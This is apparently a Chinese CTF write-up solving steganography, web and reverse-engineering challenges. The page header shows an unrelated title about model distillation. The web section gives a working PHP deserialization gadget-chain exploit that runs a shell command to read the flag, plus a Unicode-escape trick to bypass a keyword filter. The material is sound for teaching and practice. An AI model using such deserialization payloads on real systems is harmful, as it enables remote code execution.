0
点赞
收藏
分享

微信扫一扫

大模型蒸馏:高效AI的秘诀

静守幸福 2024-05-31 阅读 43

MISC

ez_Misc

题目给了一个加密的压缩包和一个文本文档,首先我们先来看文本的内容,如下:

很容易看出,0宽隐写,用PuzzleSolver梭哈一下,发现了:Thi3 is n0t 2 hint

又在文本中发现一个特征,标点符号只有“,”和“。” 猜测为二进制,将“,”替换为“0”;“。”替换为“1”,可得到一串字符:

01111010011010110110000101110001001000010100000000110011001100010011001000110011

用赛博橱子解密一下得到压缩包密码:zkaq!@3123

解开压缩包后得到flag.apng,直接用工具apngdis_gui可以分离出四张图片

可以发现第四张图片有点可疑,是黑的,不过我们能隐约看出来有张二维码在上面

直接使用QR扫描即可得到一串base64密文:ZmxhZ3thcG5nX2lzX2V6fQ==,解密后得到flag

flag{apng_is_ez}

如果实在没看到的话(或者扫不出来),可以放stegsolve里面看看,red plane 3,够清晰了吧哈哈哈。

扫描结果都是一样的,如下图:

ezBMP

题目只给了一个bmp文件,一开始试了好多东西都没什么好的结果,后来使用工具Picsel梭了

首先我们先试用foremost分离一下1.bmp,可以得到两张bmp文件

foremost -T 1.bmp

然后直接使用Picsel,过程大致如下:

先选择 Open Original Image,放入第一个图片00000000.bmp,再点击Decrypt Image功能,选择第二个图片00000113.bmp

得到flag:flag{ez_zkaq_steganography_xor}

Web

Base_pop

进入页面,只给了一个信息source=1,访问一下得到了php源码

分析一下我们需要

Poc如下:

<?php
class Bigger{
public $Processing_strings;
function __construct()
{
$this->Processing_strings=new Lisa();
}

public function __toString(){
echo 'aaa';
$this->Processing_strings->print();
}
}
class Joker{
private $Error;
function __construct()
{
$this->Error=new Bigger();
}


public function __destruct(){
echo 'bbb';
echo($this->Error);
}
}

class Toke{
public function print(){

echo "===========print=========";
}
}
class Lisa{
public function __call($name, $arguments)
{
system('cat /flag');
}
}
$a=new Joker();
echo base64_encode(serialize($a));

运行后得到

根据PHP源码可知我们上传的时候需要使用PUT方式,而且pop被过滤了,将php转义一下,可以使用unicode编码绕过(因为这里上传的是json数据,“pop”=="\u0070\u006f\u0070"),发包后即可得到flag:flag{b4e0890d58dd4208bb832915dae872e1}

Reverse

做题做累了,来玩一会游戏吧

题目给了一个1.c3p文件,放入010查看发现pk字样,我直接改后缀为zip,解压后得到一堆文件,查看了很多文件信息,最终在文件夹eventSheets里的“事件表 2.json”发现关键信息,如下:

我们可以使用 Python 来执行相同的操作,并得到最终的字符串 c: 

#python
a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134]
c = ""
for i in range(28):
tmp = a[i]
tmp = tmp ^ 3
tmp -= 8
c += chr(tmp)

print(c)

运行上述 Python 代码,可以得到字符串 c,即: flag{112f_bcdf_2499_c045773}

givemeflag

放入ida,查看main函数

点击check函数,如下:

定位到table和funcs

将table数据提取出来,用16进制表示

table = [
0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,
0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,
0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]

编写exp:

# 给定的字符串和数组
str = "fAkeflag{tHis_Is_nOt_the_rEal_Flag}"

# 加密所需的数组
encryption_table = [
0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,
0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,
0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]

# 将输入字符串转换为字符列表以进行可变操作
char_list = list(str)

# 迭代数组并加密字符串
for i, value in enumerate(encryption_table):
# 每次迭代获取字符列表和数组的长度
char_index = i % len(char_list)

# 根据索引对3取模的结果执行不同的加密操作
if i % 3 == 0:
# 增加ASCII值
char_list[char_index] = chr((ord(char_list[char_index]) + value) % 256)
elif i % 3 == 1:
# 减去ASCII值
char_list[char_index] = chr((ord(char_list[char_index]) - value) % 256)
else:
# 异或ASCII值
char_list[char_index] = chr((ord(char_list[char_index]) ^ value) % 256)

# 将列表重新组合成字符串
flag = ''.join(char_list)
print(flag)

运行后得到flag:

flag{f14g_ch3ck_9oUr_g3titbr0ther!}

举报

相关推荐

AI大模型安装

0 条评论